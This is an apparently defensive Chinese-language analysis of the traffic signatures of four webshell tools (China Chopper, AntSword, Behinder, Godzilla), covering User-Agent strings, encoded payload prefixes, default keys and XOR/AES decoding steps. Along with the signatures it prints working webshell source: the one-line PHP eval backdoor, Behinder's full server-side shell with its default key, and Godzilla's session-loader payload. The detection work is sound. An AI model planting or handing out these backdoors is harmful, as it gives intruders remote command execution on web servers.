webshell流量特征

背景 #

webshell是以phpjsp等形式存在的一种命令执行环境,是网页后门,通过其可获得网站服务器。

一般上传的webshell木马只保留了执行环境的入口,可实现的功能如文件管理、终端控制等依赖客户端管理工具如蚁剑等实现。

这里我们分析常见的4中webshell连接工具的流量特征,其中菜刀蚁剑可以连接常见的一句话木马,这里的pass参数为所谓的连接密码,工作过程强依赖pass参数传参。

<?php @eval($_POST['pass']); ?>

冰蝎是基于流量加密实现的,此时所谓的连接密码为对应加解密的密钥(或尤其派生),请求体中的所有流量都会被加密,服务器端侧需要上传对应生成的webshell以能够解密。

最后哥斯拉是类似上面的结合。

中国菜刀 #

  1. UA头
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
  1. payload base64编码,且存在固定的开头
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2

对应

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);
// 关闭错误显示、设置不限时运行、关闭魔术引号

  1. 请求存在 z0/z1/... 参数

  2. 响应使用 ->| xxxx |<- 封装

蚁剑 #

  1. 参数名随机d43729c7e26d7d

  2. 存在 @ini_set("display_errors","0");@set_time_limit(0);

  3. payload存在简单的混淆,执行的命令会被base64编码,且需要去除前2个字节,最终执行的命令是$r = "{$p} {$c}";类似cmd.exe /c "xxx"

  4. 因为执行命令时加了echo xxx的随机打印,所有返回会有对应随机的输出

冰蝎 #

  1. php服务器端webshell如下(位于安装目录的server目录下),解密密钥为e45e329feb5d925b,通过md5("rebeyond")[0:16]得到,其中rebeyond是冰蝎3.0的默认密码。无密钥无法从流量层面进行解密。
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>
  1. 连接成功后会默认显示phpinfo信息页面

  2. 如使用默认密钥,请求中会有固定的3Mn1yNMtoZViV5wotQHPJtwwj;响应中会有固定的mAUYLzmqn5QPDkyI5lvSp0fjiBu1e7047Yj

  3. 人工解密参看如下:

请求: 响应:

哥斯拉 #

  1. 哥斯拉生成的木马为如下一句话木马,哥斯拉拥有密码密钥2个概念,为用户指定无默认值
<?php
eval($_POST["pass"]);
  1. PHP_EVAL_XOR_BASE64加密器分析,这里设密码pass密钥key1,会使用该密钥进行异或操作

其中,密码类似菜刀蚁剑,定义了payload的执行框架,密钥则通过md5("key1")[0:16]得到

  1. 哥斯拉点击进入后(执行其他命令之前),抓包会发现3对请求和响应,下面逐个分析

第一对 请求pass参数

@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='key1';
$payloadName='payload';
$key='c2add694bf942dc7';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
		eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

请求key1参数,解码代码如下

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='key1';
$payloadName='payload';
$key='c2add694bf942dc7';
$data=encode(base64_decode("xxx"), $key);

?>

第一对请求主要是在设置session,$_SESSION[$payloadName]中存储了几十种功能函数,如test/run/isGzipStream/bigFileUpload等等 请求不含有任何Cookie信息,服务器响应报文不含任何数据,但是会设置PHPSESSID,后续请求都会自动带上该Cookie。

第二对

请求pass参数同上

请求key1参数,解码代码同上

既执行以下在第一步中定义的test函数,可以预期返回为ok

function test(){
    return "ok";
}

响应如下

88fb12c30e6398d8LepsZDY5NGJmMv/9YmNwvu4YZmQ2OQ==9175a0b78537a809

去除首echo substr(md5($pass.$key),0,16);echo substr(md5($pass.$key),16);各附加的16位的混淆字符后,使用以下代码进行解码(响应多了一层gzdecode):

<?php

function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}

$pass='key1';
$payloadName='payload';
$key='c2add694bf942dc7';
$data=gzdecode(encode(base64_decode("xxx"),$key));

echo $data;

?>

第三对

请求pass参数同上

请求key1参数,解码代码同上

既执行在第一步中定义的getBasicsInfo函数

响应解码如上,返回如下信息

后续执行其他命令流程也同上

  1. 总结
  • 请求形式pass=evalContent&key=xxx,其中pass密码key密钥
  • 每个请求中的pass=evalContent部分都是相同的
  • 每个请求中的key=xxx才是实际执行的操作,xxx经过特定算法如PHP_EVAL_XOR_BASE64经过密钥加密/编码处理
  • 响应也是经过同样的加密/编码处理,只不过需要额外的gzdecode操作
  • 会设置并携带PHPSESSIDCookie